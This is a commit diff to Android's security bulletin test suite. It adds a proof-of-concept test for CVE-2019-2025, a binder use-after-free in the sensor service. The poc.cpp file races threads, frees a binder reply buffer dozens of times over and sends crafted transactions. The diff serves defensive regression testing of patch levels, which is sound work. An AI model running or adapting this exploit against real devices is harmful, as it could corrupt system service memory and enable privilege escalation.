Revert "Revert "STS test fix for Android Security CVE-2019-2025""
This reverts commit 42477f3902a770b30560bc34add0966043bc02f5.
Test: cts-tradefed run cts -m CtsSecurityBulletinHostTestCases -t android.security.cts.Poc19_03#testPocCVE_2019_2025
Bug: 126803157
Bug: 116855682
Reason for revert: reinstate
Change-Id: Ibf3cd85d13e1cc0de4ffcaa8ef767c314a913f99
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index b65d6e0..6e6e0e6 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -176,6 +176,7 @@
<!-- Bulletin 2019-03 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
<option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
+ <option name="push" value="CVE-2019-2025->/data/local/tmp/CVE-2019-2025" />
<option name="append-bitness" value="true" />
</target_preparer>
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.mk
new file mode 100644
index 0000000..9e62920
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2019-2025
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+ libutils \
+ liblog \
+ libcutils \
+ libsensor \
+ libbase \
+ libbinder \
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/IPCThreadState.h b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/IPCThreadState.h
new file mode 100644
index 0000000..38169fd
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/IPCThreadState.h
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2005 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef ANDROID_IPC_THREAD_STATE_H
+#define ANDROID_IPC_THREAD_STATE_H
+
+#include <utils/Errors.h>
+#include <binder/Parcel.h>
+#include <binder/ProcessState.h>
+#include <utils/Vector.h>
+
+#if defined(_WIN32)
+typedef int uid_t;
+#endif
+
+// ---------------------------------------------------------------------------
+namespace android {
+
+class IPCThreadState
+{
+public:
+ static IPCThreadState* self();
+ static IPCThreadState* selfOrNull(); // self(), but won't instantiate
+
+ sp<ProcessState> process();
+
+ status_t clearLastError();
+
+ pid_t getCallingPid() const;
+ uid_t getCallingUid() const;
+
+ void setStrictModePolicy(int32_t policy);
+ int32_t getStrictModePolicy() const;
+
+ void setLastTransactionBinderFlags(int32_t flags);
+ int32_t getLastTransactionBinderFlags() const;
+
+ int64_t clearCallingIdentity();
+ void restoreCallingIdentity(int64_t token);
+
+ int setupPolling(int* fd);
+ status_t handlePolledCommands();
+ void flushCommands();
+
+ void joinThreadPool(bool isMain = true);
+
+ // Stop the local process.
+ void stopProcess(bool immediate = true);
+
+ status_t transact(int32_t handle,
+ uint32_t code, const Parcel& data,
+ Parcel* reply, uint32_t flags);
+
+ void incStrongHandle(int32_t handle, BpBinder *proxy);
+ void decStrongHandle(int32_t handle);
+ void incWeakHandle(int32_t handle, BpBinder *proxy);
+ void decWeakHandle(int32_t handle);
+ status_t attemptIncStrongHandle(int32_t handle);
+ static void expungeHandle(int32_t handle, IBinder* binder);
+ status_t requestDeathNotification( int32_t handle,
+ BpBinder* proxy);
+ status_t clearDeathNotification( int32_t handle,
+ BpBinder* proxy);
+
+ static void shutdown();
+
+ // Call this to disable switching threads to background scheduling when
+ // receiving incoming IPC calls. This is specifically here for the
+ // Android system process, since it expects to have background apps calling
+ // in to it but doesn't want to acquire locks in its services while in
+ // the background.
+ static void disableBackgroundScheduling(bool disable);
+ bool backgroundSchedulingDisabled();
+
+ // Call blocks until the number of executing binder threads is less than
+ // the maximum number of binder threads threads allowed for this process.
+ void blockUntilThreadAvailable();
+ static void freeBuffer(Parcel* parcel,
+ const uint8_t* data, size_t dataSize,
+ const binder_size_t* objects, size_t objectsSize,
+ void* cookie);
+ static void freeBuffer1(Parcel* parcel,
+ const uint8_t* data, size_t dataSize,
+ const binder_size_t* objects, size_t objectsSize,
+ void* cookie);
+private:
+ IPCThreadState();
+ ~IPCThreadState();
+
+ status_t sendReply(const Parcel& reply, uint32_t flags);
+ status_t waitForResponse(Parcel *reply,
+ status_t *acquireResult=NULL);
+ status_t talkWithDriver(bool doReceive=true);
+ status_t writeTransactionData(int32_t cmd,
+ uint32_t binderFlags,
+ int32_t handle,
+ uint32_t code,
+ const Parcel& data,
+ status_t* statusBuffer);
+ status_t getAndExecuteCommand();
+ status_t executeCommand(int32_t command);
+ void processPendingDerefs();
+ void processPostWriteDerefs();
+
+ void clearCaller();
+
+ static void threadDestructor(void *st);
+
+ const sp<ProcessState> mProcess;
+ Vector<BBinder*> mPendingStrongDerefs;
+ Vector<RefBase::weakref_type*> mPendingWeakDerefs;
+ Vector<RefBase*> mPostWriteStrongDerefs;
+ Vector<RefBase::weakref_type*> mPostWriteWeakDerefs;
+ Parcel mIn;
+ Parcel mOut;
+ status_t mLastError;
+ pid_t mCallingPid;
+ uid_t mCallingUid;
+ int32_t mStrictModePolicy;
+ int32_t mLastTransactionBinderFlags;
+};
+
+}; // namespace android
+
+// ---------------------------------------------------------------------------
+
+#endif // ANDROID_IPC_THREAD_STATE_H
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp
new file mode 100644
index 0000000..58e3c84
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp
@@ -0,0 +1,171 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <cutils/ashmem.h>
+#include <dlfcn.h>
+#include <fcntl.h>
+#include <linux/futex.h>
+#include <pthread.h>
+#include <sensor/ISensorEventConnection.h>
+#include <sensor/ISensorServer.h>
+#include <sensor/Sensor.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <sys/prctl.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/xattr.h>
+#include <utils/Vector.h>
+
+#include "IPCThreadState.h"
+#include "binder/IServiceManager.h"
+#include "../includes/common.h"
+
+using namespace android;
+
+#define SLEEP 0
+#define ATTACK 1
+String8 packageName("hexb1n");
+String16 opPackageName("");
+
+time_t test_started;
+
+static volatile int attack_signal;
+int my_futex(volatile int *uaddr, int op, int val,
+ const struct timespec *timeout, int *uaddr2, int val3) {
+ return syscall(SYS_futex, uaddr, op, val, timeout, uaddr2, val3);
+}
+
+static void *bcfree_helper(void *p) {
+ (void) p;
+ Parcel data, reply;
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> binder = sm->getService(String16("sensorservice"));
+ sp<ISensorServer> sensor = interface_cast<ISensorServer>(binder);
+ sp<ISensorEventConnection> sensorEventConnection =
+ sensor->createSensorEventConnection(packageName, 0 /*NORMAL*/,
+ opPackageName);
+ while (timer_active(test_started)) {
+ Parcel data, reply;
+ data.writeInterfaceToken(String16("android.gui.SensorEventConnection"));
+ my_futex(&attack_signal, FUTEX_WAIT_PRIVATE, SLEEP, NULL, NULL, 0);
+ usleep(100);
+ IInterface::asBinder(sensorEventConnection)
+ ->transact(4 /*FLUSH_SENSOR*/, data, &reply, 0);
+ }
+
+ return NULL;
+}
+
+static void *bcfree(void *p) {
+ (void) p;
+ Parcel data, reply;
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> binder = sm->getService(String16("sensorservice"));
+ sp<ISensorServer> sensor = interface_cast<ISensorServer>(binder);
+ sp<ISensorEventConnection> sensorEventConnection =
+ sensor->createSensorEventConnection(packageName, 0 /*NORMAL*/,
+ opPackageName);
+ while (timer_active(test_started)) {
+ Parcel data, reply;
+ data.writeInterfaceToken(String16("android.gui.SensorEventConnection"));
+
+ {
+ IInterface::asBinder(sensorEventConnection)
+ ->transact(4 /*FLUSH_SENSOR*/, data, &reply, 0);
+ const uint8_t *rmData = reply.data();
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+ }
+
+ attack_signal = ATTACK;
+ my_futex(&attack_signal, FUTEX_WAKE_PRIVATE, 1, NULL, NULL, 0);
+ usleep(100);
+ {
+ Parcel data, reply;
+ IInterface::asBinder(sensorEventConnection)
+ ->transact(0xdeadbfff /*FLUSH_SENSOR*/, data, &reply, 0x2f2f);
+ for (int i = 0; i < 20; i++)
+ IInterface::asBinder(sensorEventConnection)
+ ->transact(0xdeadbfff /*FLUSH_SENSOR*/, data, &reply, 0x2f2f);
+ }
+ attack_signal = SLEEP;
+ }
+
+ return NULL;
+}
+
+int main() {
+ pthread_t t1, t2, t3;
+
+ test_started = start_timer();
+
+ pthread_create(&t1, NULL, bcfree_helper, NULL);
+ pthread_create(&t2, NULL, bcfree, NULL);
+ pthread_create(&t3, NULL, bcfree_helper, NULL);
+ pthread_join(t1, NULL);
+ pthread_join(t2, NULL);
+ pthread_join(t3, NULL);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
index 115fad2..520c9fc 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
@@ -31,4 +31,12 @@
public void testPocBug_115739809() throws Exception {
assertFalse(AdbUtils.runPocCheckExitCode("Bug-115739809", getDevice(), 30));
}
+
+ /**
+ * b/116855682
+ */
+ @SecurityTest(minPatchLevel = "2019-03")
+ public void testPocCVE_2019_2025() throws Exception {
+ AdbUtils.runPocNoOutput("CVE-2019-2025", getDevice(), 300);
+ }
}